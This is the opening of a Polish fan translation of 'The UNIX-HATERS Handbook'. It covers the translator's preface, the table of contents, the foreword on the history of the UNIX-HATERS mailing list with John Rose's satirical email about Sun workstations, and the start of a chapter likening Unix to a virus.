Unix Haters Handbook

364
Simson Garfinkel, Daniel Weise, Steven Strassmann UNIX-HATERS Handbook

Transcript of Unix Haters Handbook

Page 1: Unix Haters Handbook

Simson Garfinkel, Daniel Weise, Steven Strassmann

UNIX-HATERS

Handbook

rev. tłum. 0.91

Page 2: Unix Haters Handbook

Wstęp od tłumacza

Prawdopodobnie słowo „tłumacz” w moim przypadku zostało użyte na wyrost. Nie jestem anglistą, moje tłumaczenie jest koślawe, chociaż starałem się (na miarę swoich możliwości) zachować maksymalną zgodność z oryginałem. Tak czy inaczej, wyszedłem z założenia że lepsze jest koślawe i niedorobione tłumaczenie niż brak jakiegokolwiek tłumaczenia.

Książka ta została wydana w 1994 roku. Od tego czasu minęło 12 lat i nie ma się co spodziewać oficjalnego polskiego jej wydania. Co jednak skłoniło mnie do podjęcia drastycznych kroków w celu dokonania własnego tłumaczenia? Z pewnością nie był to nadmiar wolnego czasu.

„Unix-Haters Handbook” to pierwsza książka z jaką się zetknąłem, która występuje przeciwko powszechnemu kultowi Unixa. Co więcej, całkowicie zgadzam się z jej autorami, że jest to kult absolutnie w żaden sposób nieuzasadniony. Wiele osób zachłystuje się tym, jakie to systemy Unixowe są piękne i wspaniałe, często bazując tylko na zasłyszanych czy ogólnie krążących wypowiedziach. Unixowa indoktrynacja i pranie mózgu ciągle trwa i przybiera na sile.

W ciągu tych 12 lat minęło kilka epok sprzętowych. Kto z przeciętnych użytkowników słyszał o maszynach takich jak VAX-y? Kto słyszał o takich procesorach RISC jak MIPS czy SPARC? Najpopularniejszym RISC-iem jest PowerPC, dzięki jego zastosowaniach w Macintoshach (i częściowo Amigach, ale kto o tym pamięta?), a i tak większość PeCetowców nie kojarzy go z RISC-iem. Wszędzie indziej niepodzielnie panuje PeCetowa blacha. Hegemonia architektury x86 jest niezaprzeczalna. Nawet jeśli chodzi o superkomputery, coraz częściej budowane są klastry złożone ze zwykłych blaszaków – oczywiście pod kontrolą Jedynie Słusznego Systemu. Autorzy piszą o VAX-ie z 64 MB RAM jako o ogromnej ilości pamięci – wśród dzisiejszych użytkowników taka ilość pamięci budzi śmiech. Chociaż ostatnio częstotliwości procesorów jakby trochę przystopowały, to chyba tylko cisza przed kolejną burzą. Sprzętowo zatem przeszliśmy w ciągu tych 12 lat ogromny dystans.

Czytając tą książkę odniosłem jednak wrażenie, że Unix prawie w ogóle się nie zmienił. Owszem, poprawiono trochę błędów, niektóre fragmenty nieco się zdezaktualizowały. Jednak nawet pomimo tego książka ta w ogromnym stopniu odpowiada współczesnemu stanowi rzeczy. Systemy Unixowe nie stały się bardziej przyjazne użytkownikom ani adminom. Co do programistów, trudno mi powiedzieć, ale podejrzewam że tutaj także niewiele się zmieniło.

Owszem, jest jedna ogromna różnica w stosunku do czasów powstawania tej książki: systemy Unixowe są w większości systemami open-source. Rozmaite dystrybucje Linuxa i systemy *BSD (FreeBSD, NetBSD, OpenBSD) spowodowały ogromne spopularyzowanie systemów Unixowych. Innymi słowy, Unix przemutował na kolejnego żywiciela. I zrobił to zastraszająco skutecznie – zyskał miliony nowych ofiar.

Milionom ludzi wbija się do głowy, że Windows jest be, a Linux jest cacy. To prawda, że Windows jest be. Ale Linux wcale nie jest cacy. O tym jednak mogą się przekonać tylko ci, którzy zetknęli się z Linuxem (czy systemami *BSD) osobiście. Wbrew powszechnie głoszonym opiniom Linux nie nadaje się na „zastępnik Windowsa” dla zwykłego użytkownika. Zwykłego, czyli takiego który nie jest fanatykiem Unixa i nie uważa, że używanie systemu polega na ciągłym grzebaniu w nim dla uzyskania jakiegokolwiek celu. Nawet jeśli interfejsy graficzne zmniejszyły nieco uciążliwość instalacji i konfiguracji, a katastrofalny X-Windows wygląda lepiej niż 12 lat temu, to wszystko jest tylko przykrywka. Nie zmieniło się bowiem ani o milimetr to, o czym przede wszystkim traktuje ta książka:

2

Page 3: Unix Haters Handbook

wewnętrzna filozofia systemów Unixowych jako takich. Nadal pod cienką przykrywką interfejsu graficznego Unix czyha na potknięcie użytkownika.

W dalszym ciągu można skutecznie pokaleczyć się przy pomocy rm. Nadal nie ma co marzyć o odzyskiwaniu skasowanych plików. O kompatybilności wśród rozmaitych dystrybucji Linuxa nie ma co marzyć (niby są pakiety kompatybilności, ale..). Dokumentacja (manuale) ciągle są niezrozumiałe i wprowadzają w błąd. Nie ma mowy żeby znaleźć informacje o tym, co dla użytkownika naprawdę istotne. Niespójności były, są i zostaną na wieki wieków. Sendmail nadal jest rozpowszechniany, a nie stał się wcale mniej dziurawy czy wredny w konfiguracji (na szczęście nie ma już przymusu jego używania). Katastrofa X-Windows przybrała ładniejszy wygląd zewnętrzny, ale na tym się skończyło. Administracja systemu jest nadal zadaniem wymagającym wielkiej odporności nerwowej i cierpliwości. O bezpieczeństwie lepiej nie wspominać. System plików? Mało tego że powolny, to Linuxa można rozwalić kilka razy resetując komputer (na szczęście FreeBSD jest pod tym względem przyzwoitsze). Można tak sobie wymieniać bez końca. Spróbujcie zainstalować sobie rpm-a w Red Hacie i nie wkurzyć się z powodu kolejnego braku jakiejś dziwacznej biblioteki. Człowiek który był zmuszony używać OpenOffice’a stwierdził, że będzie teraz wychwalał Office’a z Microsoftu. I tak dalej, i tak dalej...

Systemy Unixowe nie nadają się dla zwykłego użytkownika, a tym bardziej nie nadają się do poważnych zastosowań serwerowych. O ile pod niskim obciążeniem wszystko wygląda dobrze, o tyle w warunkach wysokiego obciążenia zaczynają się dziać najniemożliwsze cuda. System Unixowy nadal nie jest w stanie wytrzymać pod wysokim obciążeniem dłuższego czasu bez resetu. Wywalające się lub zawieszające się bez widocznego powodu procesy nie są niczym niezwykłym. Nagłe zajmowanie powiedzmy 80% czasu procesora, chociaż jest mnóstwo wolnej pamięci i właściwie nic się nie dzieje też nie jest rzadkie. Żeby było śmieszniej, chociaż filozofia systemów open source powoduje, że błędy są szybciej poprawiane, poprawiane są tylko te mniej poważne. Te naprawdę poważne, jak np. zła obsługa kontrolera dysków w niektórych chipsetach w pewnym systemie Unixowym, nie doczeka się pewnie rozwiązania. Twórcy takich systemów bawią się w „ucieczkę do przodu” – zamiast poprawiać błędy w wersji 4.x, robią sobie wersję 5.x, a jak im się znudzi – to 6.x. W efekcie nigdy nie wiadomo, którą z tych wersji zainstalować i mieć nadzieję, że będzie działać. A i tak w końcu się okaże, że coś jest nie tak lub w ogóle nie działa.

Autorzy piszą: „Faktycznie, w miarę jak forsuje się Unixa w coraz większej liczbie zastosowań, staje się on coraz mniej użyteczny do czegokolwiek.” Teraz próbuje się przeforsować Linuxa jako system dla zwykłych użytkowników. W Niemczech nawet stosują go w urzędach. Linux pokazuje się w szkołach. Jako argument za jego stosowaniem najczęściej slyszy się, że „jest darmowy”. Ciągle jednak w ostatecznym rozrachunku jest to oszczędność pozorna. Z pewnością w Niemczech pracę będzie miało bardzo wielu adminów.

Chcę podkreślić jeszcze raz: nie jestem fanem Microsoftu i nie zamierzam bronić idiotyzmów Windowsa, który na pewno nie jest bezpieczniejszym systemem. Nie jestem tym bardziej fanem Macintoshów i nie zamierzam bronić ich idiotycznego systemu operacyjnego, który zresztą też jest wariacją Unixa z dodanym na wierzchu interfejsem graficznym (tyle, że nie X-Windows), a który jest tak samo „intuicyjny”, „przyjazny użytkownikowi” itd. jak i Unix. Co z tego, że jest klikalny zamiast wpisywania komend, skoro w razie awarii i tak nie można dotrzeć do tego, co najistotniejsze?! Zresztą jak słusznie stwierdził Dave Haynie, jeden z twórców Amigi, „Macintosh to głupia blondynka wśród komputerów”.

Z systemem Unixowym zetknąłem się pierwszy raz jakieś 8 lat temu. Wtedy było to dla mnie wspaniałe osiągnięcie: mając do dyspozycji 25 MHz 486 SX z 4 MB RAM, na którym Windows 3.11 uruchamiał się 5 minut, Netscape 3.0 drugie 5 minut i sieć, w której na przeciążonym cienkim Ethernecie czekało się 1,5 godziny na ściągnięcie się 6 MB pliku, system, w którym wystarczyło zatelnetować się choćby z PC XT, można było przeglądać

3

Page 4: Unix Haters Handbook

strony w trybie tekstowym bez potrzeby czekania i wreszcie można było zostawić proces w tle i pójść do domu, a na drugi dzień wrócić i zgrać sobie pobrany plik, był czymś niesamowitym.

Później miałem jednak okazję osobiście przekonać się o tym, że Unix jest systemem drastycznie nieprzyjaznym użytkownikowi, a tym bardziej administratorowi. Niejednokrotnie czytając jakieś książki o Unixie przekonałem się, że mijają się one z celem: często opisywane są rzeczy niepotrzebne, natomiast tego co naprawdę potrzebne nie ma co tam szukać. W miarę upływu czasu coraz bardziej przekonywałem się, że Unix wcale nie jest idealnym systemem operacyjnym wszechczasów. Dlatego kiedy zetknąłem się z tą książką, która występuje przeciwko wszechobecnemu kultowi Unixa, stwierdziłem, że muszę ją przetłumaczyć, nie oglądając się na to, że nie będzie to idealne tłumaczenie. Jest to jednak jedyny sposób na to, żeby jakkolwiek chociaż kilku osobom przekazać prawdę o Unixie, wbrew powszechnie głoszonym stwierdzeniom i propagandzie.

Jeżeli dzięki tej książce chociaż jedna osoba przejrzy na oczy i zobaczy prawdziwe oblicze Unixa, czas poświęcony na tłumaczenie tej książki nie będzie stracony.

4

Page 5: Unix Haters Handbook

Spis treści

Przedmowa …………………………………………………………………………… 6

Część pierwsza: Przyjazny użytkownikowi? …………………………………… 12

Rozdział 1. Unix ……………………………………………………………………… 13Rozdział 2. Witaj, nowy użytkowniku! …………………………………………… 21Rozdział 3. Dokumentacja? …………………………………………………………… 37Rozdział 4. Poczta …………………………………………………………………… 48Rozdział 5. Snoozenet …………………………………………………………… 67Rozdział 6. Obłęd terminalowy …………………………………………………… 78Rozdział 7. Katastrofa X-Windows …………………………………………………… 84

Część druga: System dla programisty? …………………………………………… 98

Rozdział 8. csh, pipes i find …………………………………………………………… 99Rozdział 9. Programowanie …………………………………………………………… 116Rozdział 10. C++ …………………………………………………………………… 134

Część trzecia: Koszmar administratora …………………………………………… 143

Rozdział 11. Administracja systemu …………………………………………………… 144Rozdział 12. Bezpieczeństwo …………………………………………………… 158Rozdział 13. System plików …………………………………………………………… 169Rozdział 14. NFS …………………………………………………… 182

Część czwarta: Załączniki …………………………………………………………… 194

Załącznik A. Epilog …………………………………………………………………… 195Załącznik B. Unix i C były kawałami …………………………………………… 196Załącznik C. Gorsze jest lepsze …………………………………………………… 197Załącznik D. Fragmenty archiwum listy dyskusyjnej UNIX-HATERS ………………… 200

5

Page 6: Unix Haters Handbook

Przedmowa

Rzeczy zmieniają się na dużo gorsze, zanim zmienią się na gorsze.

„Ten, kto zaczyna swoją komputerową karierę od Unixa, powiedzmy jako student, może być porównany do człowieka urodzonego we wschodniej Afryce. Jest tam nieznośnie gorąco, twoje ciało pokrywają wszy i muchy, jesteś niedożywiony i cierpisz z powodu uleczalnych chorób. Ale, tak samo jak młodzi wschodni Afrykanie mogą powiedzieć, to są po prostu naturalne warunki życia i oni żyją w tym wszystkim. Zanim poznają inny sposób życia, jest już za późno. Oni już myślą o pisaniu skryptów shellowych jako o naturalnej rzeczy.”

— Ken Pier, Xerox PARC

Współczesny Unix jest katastrofą – jest „systemem nie-operacyjnym”: nie-pewnym, nie-intuicyjnym, nie-wybaczającym i nie-pomocnym. Mało rzeczy jest tak frustrujące jak próba zmuszenia Unixa do robienia czegokolwiek przydatnego i nietrywialnego. Współczesny Unix hamuje rozwój nauk komputerowych, marnuje miliardy dolarów i niszczy zdrowy rozsądek u wielu, którzy go poważnie używają. Przesada? Przekonasz się że nie – po przeczytaniu tej książki.

Wybrakowany w projekcie

Oryginalny Unix rozwiązywał pewien problem i całkiem dobrze go rozwiązywał, tak samo jak rzymski sposób zapisu liczb, stosowanie rtęci jako lekarstwa na syfilis albo kalka. I tak samo jak te technologie Unix prawowicie należy do historii. Był zaprojektowany dla maszyn z niewielką pamięcią, malutkimi dyskami, bez grafiki, bez sieci i bez mocy. W tym czasie obowiązkowe było przyjęcie założeń takich jak:

- małe rozmiary i prostota są ważniejsze od kompletnej poprawności,- wystarczy rozwiązać 90% problemu,- wszystko jest strumieniem bajtów.

Te założenia nie są dłużej właściwe dla systemu operacyjnego kontrolującego złożone i ważne aplikacje. Użycie Unixa przez niewytrenowanych operatorów do zadań w których bezpieczeństwo jest krytyczne może być nawet śmiertelne.

Jak na ironię, te same cechy i założenia projektowe, które zapewniły Unixowi sukces kiedy komputery były o wiele słabsze i dużo mniej od nich oczekiwano teraz ograniczają jego użyteczność i używalność. Każdy przeszczep nowego podsystemu do podstawowego jądra skutkuje jego odrzuceniem albo chorobą gospodarza w efekcie której rozprzestrzenia się niezdatna do użytku tkanka bliznowata. Obsługa sieci w Unixie przypomina kakofoniczną wieżę Babel niestabilności, zwiększającą czterokrotnie rozmiar jego sławnego zwięzłego jądra. Jego interfejs graficzny odziedziczył tajemniczą nieprzyjazność interfejsu tekstowego, jednocześnie osiągając nowe sposoby na spowolnienie szybkich komputerów. Jego narzędzia administracji systemem zamiast oszczędzać czas marnują go. Jego serwer poczty stawia w pozytywnym świetle klasyczną pocztę.

Mijające lata tylko powiększają jego wady. Używanie Unixa jest nieprzyjemne zarówno dla początkujących, jak i zaawansowanych użytkowników. Pomimo nadmiaru

6

Page 7: Unix Haters Handbook

książek na ten temat, bezpieczeństwo Unixa pozostaje w najlepszym wypadku nieuchwytnym celem. Pomimo coraz szybszych i inteligentniejszych urządzeń peryferyjnych wysokosprawna i asynchroniczna obsługa I/O jest tylko mrzonką. Producenci wydali miliony na opracowanie „łatwych w użyciu” interfejsów graficznych, ale tylko niektóre wersje Unixa pozwalają na zrobienie czegokolwiek poza trywialną administracją systemu bez uciekania się do dalekopisowego interfejsu rodem z lat 70. Faktycznie, w miarę jak forsuje się Unixa w coraz większej liczbie zastosowań, staje się on coraz mniej użyteczny do czegokolwiek. Unix nie może być naprawiony od środka. Musi zostać odrzucony.

Kim jesteśmy

Jesteśmy naukowcami, hakerami i fachowcami. Żaden z nas nie urodził się w komputerowym odpowiedniku Wschodniej Afryki. Doświadczyliśmy znacznie bardziej zaawansowanych, używalnych i eleganckich systemów od jakiegolwiek przeszłego czy prawdopodobnie przyszłego Unixa. Niektóre z nich są już zapomniane, jak TOPS-20, ITS (Incompatible Timesharing System), Multics, Apollo Domain, Lisp Machine, Cedar/Mesa, Dorado. Niektórzy z nas używają maców i pecetów. Wielu z nas jest biegłymi programistami, którzy poświęcili swój czas próbując ćwiczyć nasze umiejętności pod kontrolą systemów unixowych. Można nas nazwać zawistnymi malkontentami, romantykami utrzymującymi wspomnienia o systemach które odeszły w przeszłość z powodu komercyjnego sukcesu Unixa, jednak jest to błędne mniemanie: nasze sądy są ostre, nasze poczucie możliwości jest czyste i nasze oburzenie jest autentyczne. Szukamy postępu, nie chcemy utrzymywania starożytnych reliktów.

Nasza historia zaczęła się kiedy z powodów ekonomicznych pomaszerowaliśmy jeden po drugim do Gułagu Unixa. Zaczęliśmy wymieniać między sobą notatki. Z początku mówiły one o izolacji kulturalnej, o prymitywnych rytuałach o których myśleliśmy że należą tylko do mitów i fantazji, o zepsuciu i poniżeniu. Po pewnym czasie zaczęły nas podtrzymywać na duchu, zaczęliśmy często używać czarnego humoru opartego o nasze obserwacje. W końcu tak jak więźniowie, którzy aby uciec muszą lepiej poznać strukturę więzienia niż ich strażnicy, zaczęliśmy przyglądać się każdej szczelinie. Ku naszemu przerażeniu odkryliśmy, że nasze więzienie nie ma spójnego projektu. Ponieważ nie ma silnych punktów ani racjonalnej podstawy jest całkowicie odporne na racjonalny atak. Nasza racjonalność nie mogła pokonać tego chaosu i nasze wiadomości stały się defetystyczne, dokumentujące chaos i bezsens.

Ta książka jest o ludziach którzy są w niewłaściwych stosunkach z Unixem, którzy tworzą wątki na liście mailowej UNIX-HATERS. Te notatki nie zawsze są przyjemne do czytania. Niektóre są inspirujące, niektóre wulgarne, niektóre dobijające. Kilka niesie nadzieję. Jeśli chcesz poznać drugą stronę tej historii, kup sobie jakąś książkę o Unixie na wyprzedaży.

Ta książka nie pomoże ci poprawić umiejętności używania Unixa. Jeśli będziesz miał szczęście, dzięki niej w ogóle przestaniesz go używać.

Historia UNIX-HATERS

W roku 1987 Michael Travers był absolwentem MIT Media Laboratory i robił pierwsze kroki w przyszłość. Przez lata Michael pisał duże i piękne programy na swojej Symbolics Lisp Machine (znanej też jako LispM), jednej z dwóch najnowocześniejszych stacji roboczych w laboratorium. Ale wszystko zbliżało się ku końcowi. W interesie zmniejszenia kosztów i zwiększenia efektywności, Media Lab zdecydował pozbyć się LispM.

7

Page 8: Unix Haters Handbook

Jeżeli Travers chciał kontynuować badania na MIT, był zmuszony używać mainframe’u VAX.

VAX chodził pod Unixem.W MIT jest stara tradycja zakładania list mailowych poświęconych określonym

systemom operacyjnym. Były listy jak np. ITS-LOVERS, stworzona dla programistów i użytkowników MIT AI Lab Incompatible Timesharing System. Michael Travers zdecydował, że założy nową listę mailową. Nazwał ją UNIX-HATERS.

Date: Thu, 1 Oct 87 13:13:41 EDTFrom: Michael Travers <mt>To: UNIX-HATERSSubject: Welcome to UNIX-HATERS

Zgodnie z tradycją TWENEX-HATERS, jest to lista mailowa dla zgryźliwych ludzi mających trudności z akceptacją nowości w systemach operacyjnych. Jeśli nie nienawidzisz Unixa, daj mi znać i usunę cię z listy. Proszę dodać inne osoby, o których myślisz, że potrzebują ujścia swojej frustracji.

Pierwszy list, jaki Michael wysłał do UNIX-HATERS zawierał dobrze przemyślaną tyradę na temat Sunów napisaną przez innego nowego więźnia Unixowego Gułagu: Johna Rose, programistę dobrze znanego w Massachusetts producenta komputerów (prawnicy tej firmy obiecali nas nie pozwać, jeśli nie wymienimy nazwy firmy). Tak jak Michael, John ostatnio był zmuszony do pozbycia się Lisp Machine dla komputera chodzącego pod Unixem. Sfrustrowany po tygodniu straconej pracy, wysłał wiadomość na wewnętrzną listę mailową firmy:

Date: Fri, 27 Feb 87 21:39:24 ESTFrom: John RoseTo: sun-users, systems

Zalety i wady Sunów

Mam chwilę wolnego czasu, ponieważ okno edytora w moim Sunie właśnie wyparowało na moich oczach, zabierając ze sobą dzień warty stanu Emacsa.

Tak więc naturalnie powstaje pytanie: co w Sunach jest dobrego, a co złego? To jest piąty dzień, kiedy używam Suna. Dziwnym zbiegiem okoliczności jest to także piąty raz, kiedy mój Emacs wyzionął ducha. Próbuję się zastanowić, co dobrego jest w Sunach.

Zaletą Sunów jest to, że bootują się naprawdę szybko. Jeśli ktoś tego jeszcze nie widział, powinien to zobaczyć. To inspirujące dla tych z nas, których LispM potrzebowały całego poranka na boot.

Inną miłą cechą Sunów jest ich prostota. Wiecie, że LispM zawsze uruchamiały swój okropny debugger i oczekiwały od nas odpowiedzi, jak postąpić dalej. Cóż, Suny ZAWSZE wiedzą co zrobić dalej. Zrzucają plik core i zabijają dany proces. Co może być łatwiejszego? Jeśli zaangażowane jest okno, zamknie się. Ta prostota znacznie skraca czas debuggowania, ponieważ od razu tracisz nadzieję na znalezienie problemu i po prostu zaczynasz od początku – nieważne, jak złożone zadanie wykonywałeś. Faktycznie, w tym miejscu możesz po prostu zresetować system. Zrób to, reset jest szybki!

8

Page 9: Unix Haters Handbook

Jednym z powodów, dla którego Suny się uruchamiają szybko jest ich prostota. Kiedy LispM ładuje kod do pamięci, ładuje także masę informacji potrzebnych do debuggowania. Na przykład każda funkcja rejestruje nazwy jej argumentów i zmiennych lokalnych, nazwy wszystkich makr, komentarze i dokumentację a czasami także zinterpretowaną definicję, po prostu dla dobrego porównania.

A, każda funkcja pamięta w jakim pliku została zdefiniowana. Nie macie pojęcia, jak bardzo jest to użyteczne: komenda edytora zwana „meta-point” natychmiast przenosi cię do źródła każdej funkcji, bez niszczenia twoich postępów. KAZDEJ funkcji, nie tylko jednej ze specjalnie predefiniowango zestawu. Jest także klawisz powodujący wyświetlenie sekwencji wywołującej funkcję.

Używając Suna przez kilka dni, mój „meta-point” refleks nie zniknął, ale jest kompletnie sfrustrowany. Pracuję nad programem który ma około 80 plików. Jeśli chcesz edytować kod funkcji Foo, muszę przełączyć się do okna shella i użyć grep aby wyszukać Foo w różnych plikach. Potem muszę wpisać nazwę właściwego pliku. Potem muszę poprawić błąd w nazwie. Wreszcie muszę szukać wewnątrz pliku. To, co zabierało pięć sekund trwa teraz minutę albo dwie. (Ale jakie to ma znaczenie wśród przyjaciół?) W tym czasie naprawdę chcę zobaczyć w czym Sun jest najlepszy, więc muszę go kilka razy zresetować.

Jest piękna Unixowa komenda „strip”, która służy do usuwania z programów wszystkich informacji służących do debuggowania. Programy Unixowe (jak np. interfejs graficzny Suna) są oczywiście potraktowane tą komendą, bo informacje debuggowania zajmują miejsce na dysku i spowolniają bootowanie. To oznacza, że nie można użyć na nich debuggera. Ale to żadna strata; widzieliście kiedyś Unixowy debugger?

Czy wiecie, że wszystkie standardowe graficzne aplikacje Suna („narzędzia”) są tak naprawdę jednym ¾ megabajtowym plikiem binarnym? Umożliwia to tym programom współdzielenie kodu. LispM także współdzieliły kod w ten sposób. Czy to nie miłe, że nasze stacje robocze chronią nas przed inwestycjami w pamięć poprzez współdzielenie kodu?

Żadna ze standardowych aplikacji („narzędzi”) graficznych Suna nie współpracuje z Emacsem. Programy pod Unixem nie mogą być patchowane – trzeba mieć źródło aby dokonać w nim zmian i dopiero odtworzyć program ze źródła.

Ale ja chciałem, żeby moja myszka Suna dała się użyć pod Emacsem. Musiałem więc skompilować kilkaset linii kodu i zlinkować go z tym samym kodem, który jest współdzielony przez standardowe aplikacje graficzne. Gotowe! Emacs ma myszkę! Tak samo jak w LispM, pamiętam podobne kombinacje żeby zmusić program terminalowy LispM do współpracy z Emacsem. Zajmowało to około 20 linii kodu w Lispie. (Zajmowało to też mniej pracy niż wymienione powyżej kilkaset linii kodu, ale jakie to ma znaczenie wśród przyjaciół?)

Tak więc mam swojego Emacsa z myszką. Bardzo szybko Emacs zaczął wyrzucać komunikaty typu „Memory exhausted” i „Segmentation violation, core dumped”. Na konsoli Unixa pojawiały się komunikaty typu „clntudp_create: out of memory”. Ewentualnie moje okienko Emacsa decydowało się zamknąć.

Co się stało? Najwidoczniej dwie rzeczy. Po pierwsze, kiedy stworzyłem moją poprawkę na interfejs graficzny, aby używać myszki w Emacsie, stworzyłem kolejny plik binarny wielkości ¾ megabajta, który nie współdzieli kodu ze standardowymi „narzędziami” interfejsu graficznego.

Oznacza to, że zamiast jednej dużej masy współdzielonego kodu działającego w interfejsie graficznym, zabierającej miejsce na dysku wymiany, mam dwie takie masy, identyczne z wyjątkiem kilku stron kodu. Tak więc przywilej używania myszki

9

Page 10: Unix Haters Handbook

z moim edytorem kosztował mnie megabajt miejsca na dysku wymiany. (Emacs sam w sobie jest trzecią wielką masą).

Kernel Suna po prostu nie ma gdzie się zmieścić. Każda trywialna poprawka, jakiej dokonasz w interfejsie graficznym replikuje cały interfejs graficzny. Ale to nie wszystko – najwidoczniej są także inne behemoty na dysku wymiany. Są programy sieciowe z naprawdę zdumiewającymi segmentami danych. Co więcej, one rosną w miarę upływu czasu, ewentualnie zajmując cały dysk wymiany. Tak więc nie można zostawić Suna włączonego na dłużej. Dlatego cieszę się, że Suny szybko się resetują!

Ale dlaczego serwer sieciowy ma z czasem zajmować coraz więcej miejsca? Trzeba zdać sobie sprawę, że oprogramowanie Suna dynamicznie alokuje bardzo złożone struktury danych. Musisz ręcznie zwolnić każdą zaalokowaną strukturę danych, więc zrozumiałe jest, że trochę śmieci ucieka programiście z pola widzenia. Tak więc dysk wymiany zapełnia się! To prowadzi do marzeń o stacji roboczej, której architektura jest zoptymalizowana dla tworzenia i przetwarzania dużych, złożonych, połączonych ze sobą struktur danych, która potrafiłaby w jakiś magiczny sposób zwalniać miejsce na dysku bez konieczności interwencji programisty. Taka stacja mogłaby działać całymi dniami sprzątając własne śmieci bez potrzeby resetowania.

Ale oczywiście Suny są bardzo dobre w resetowaniu! Tak dobre, że czasami spontanicznie resetują się aby pokazać, że są w dobrej formie!

Na konsoli znów pokazał się komunikat o braku pamięci. Nie mam czasu na opisywanie innych cech LispM, od których uwolniłem się w ciągu ostatniego tygodnia jak na przykład stopniowa rekompilacja i ładowanie. Albo stopniowe testowanie programu przy użyciu Lisp Listenera. Albo interfejs graficznego, który dawał się nauczyć nowych rzeczy. Albo architektura, która sztywno rozróżnia wskaźniki od liczb całkowitych. Albo klawisz Control-Meta-Suspend. Albo dokumentacja.

Czas na reset!

John Rose wysłał swoją wiadomość na wewnętrzną listę mailową firmy. W jakiś sposób została ona sforwardowana do Michaela Traversa. John nie wiedział, że Michael zamierza stworzyć listę mailową dla siebie i innych przyjaciół nienawidzących Unixa. Ale Michael zrobił to, i siedem lat później John nadal jest na liście UNIX-HATERS, razem z setkami innych ludzi.

Na końcu wątku John Rose umieścił następujące oświadczenie:

Poważnie mówiąc: staram się jak najwięcej uzyskać z tej maszyny, i są rozwiązania niektórych z powyższych problemów. W szczególności dziękuję Billowi za zwiększenie mojego obszaru wymiany. Musiałem dać upust emocjom, bo ten znikający edytor naprawdę mnie zezłościł.

Firma, o której mowa kupiła stacje Unixowe aby zaoszczędzić pieniądze. Ale to, co zaoszczędzili na kosztach sprzętu, szybko wydali (i nadal wydają) wielokrotnie więcej z powodu większych kosztów obsługi technicznej i straconej produktywności programistów. Niestety, kiedy już wiemy o tym, jest już za późno. LispM są zanikającym wspomnieniem w firmie: wszyscy używają Unixa. Wielu uważa Unixa za całkiem niezły system operacyjny. W końcu, jest lepszy niż DOS.

Czy aby na pewno?

Nie jesteś sam

10

Page 11: Unix Haters Handbook

Jeśli kiedykolwiek używałeś systemu Unixowego, prawdopodobnie masz te same koszmarne doświadczenia które my mieliśmy i o których słyszeliśmy. Może skasowałeś ważne pliki, a kiedy poszedłeś po pomoc, usłyszałeś tylko że to twoja wina. Może spędziłeś godziny pisząc list do przyjaciela tylko po to, aby stracić go przez beknięcie serwera poczty albo, co gorsze, twój list został wysłany do kogo innego. Chcemy ci pokazać, że nie jesteś sam i że twoje problemy z Unixem nie są twoją winą.

Mamy pretensje nie do Unixa jako takiego, ale występujemy przeciwko kultowi fanatyków Unixa którzy go bronią i żywią. Oni traktują gorąco, choroby i zarazy jako dary i zupełnie jak starożytni szamani pokazują swoje rany (niektóre sami sobie zadali), jako dowód ich mocy i czarów. Chcemy poprzez szczerość i humor pokazać im, że modlą się do cynowego bożka i że nauka, a nie religia, jest drogą do użytecznej i przyjaznej technologii.

Nauki komputerowe doszłyby znacznie szybciej i dalej, gdyby cały czas i wysiłek poświęcony utrzymywaniu i wychowywaniu Unixa został poświęcony nowemu systemowi operacyjnemu. Mamy nadzieję, że pewnego dnia Unix zostanie zarzucony i znajdzie się w podręcznikach historii i muzeach komputerów jako interesujący, aczkolwiek kosztowny odnośnik.

Konwencje typograficzne

W tej książce używamy rzymskiego fontu dla większości tekstu. Próbowaliśmy nazwy komend, tam gdzie występują, pogrubić, a nazwy funkcji systemowych Unixa zapisać kursywą. Jest także courier font używany dla zaznaczenia komunikatów systemu, a pogrubiony courier używamy dla tekstu wpisywanego przez użytkownika.

I tyle. Ta książka nie jest nieczytelnym i niezrozumiałym podręcznikiem komputerowym z dziesięcioma różnymi fontami w pięciu różnych stylach. Nie cierpimy podręczników komputerowych wyglądających jak gdyby zostały wykopane razem z resztą świętych artefaktów Tutenchamona.

Ta książka została złożona bez pomocy troff, eqn, pic, tbl, yuc, ick albo jakiegokolwiek innego idiotycznego Unixowego skrótu. Faktycznie została złożona używając FrameMakera na Macintoshu, komputerze z Windowsem oraz stacji NeXT.

11

Page 12: Unix Haters Handbook

Część pierwsza:

Przyjazny użytkownikowi?

12

Page 13: Unix Haters Handbook

Rozdział 1: Unix

Pierwszy na świecie wirus komputerowy

„Dwa najsłynniejsze produkty z Berkeley to LSD i Unix. Nie sądzę, żeby był to tylko czysty przypadek.”

- Anonim

Wirusy rywalizują przez bycie tak małym i dostosowywalnym, jak to możliwe. Nie są bardzo złożone: zamiast nosić cały bagaż związany z oddychaniem, metabolizmem i ruchem mają tylko wystarczająco dużo DNA lub RNA aby zapewnić sobie replikację. Dla przykładu każdy szczep wirusa grypy jest wiele razy mniejszy od komórki, którą infekuje, a jednak udaje mu się zmutować w nowy szczep każdego roku. Czasami zjadliwość okazuje się szczególna i wynikająca epidemia zabija kilka milionów ludzi, których systemy odpornościowe nie są na tyle bystre, aby zabić intruza zanim on ich zabije. Przez większość czasu są jednak pomniejszą dokuczliwością – nie do uniknięcia, ale wszechobecną.

Cechami dobrego wirusa są:

- Małe rozmiary. Wirusy niewiele robią, więc nie muszą być duże. Niektórzy ludzie debatują, czy wirusy są żywymi organizmami czy tylko fragmentami niszczycielskiego kwasu nukleinowego i protein.

- Przenośność.Pojedyńczy wirus może zainfekować różne typy komórek, a z niewielkimi zmianami może nawet więcej. Zwierzęce wirusy często mutują atakując ludzi. Są dowody wskazujące na to, że wirus powodujący AIDS mógł zaczynać jako wirus małpi.

- Zdolność do mobilizowania zasobów gospodarza.Jeżeli gospodarz nie zapewni wirusowi bezpiecznego schronienia i energii do replikacji, wirus umrze.

- Szybkie mutacje.Wirusy często mutują w wiele różnych form. Formy te mają tą samą zasadniczą strukturę, ale różnią się wystarczająco aby oszukać mechanizmy obronne gospodarza.

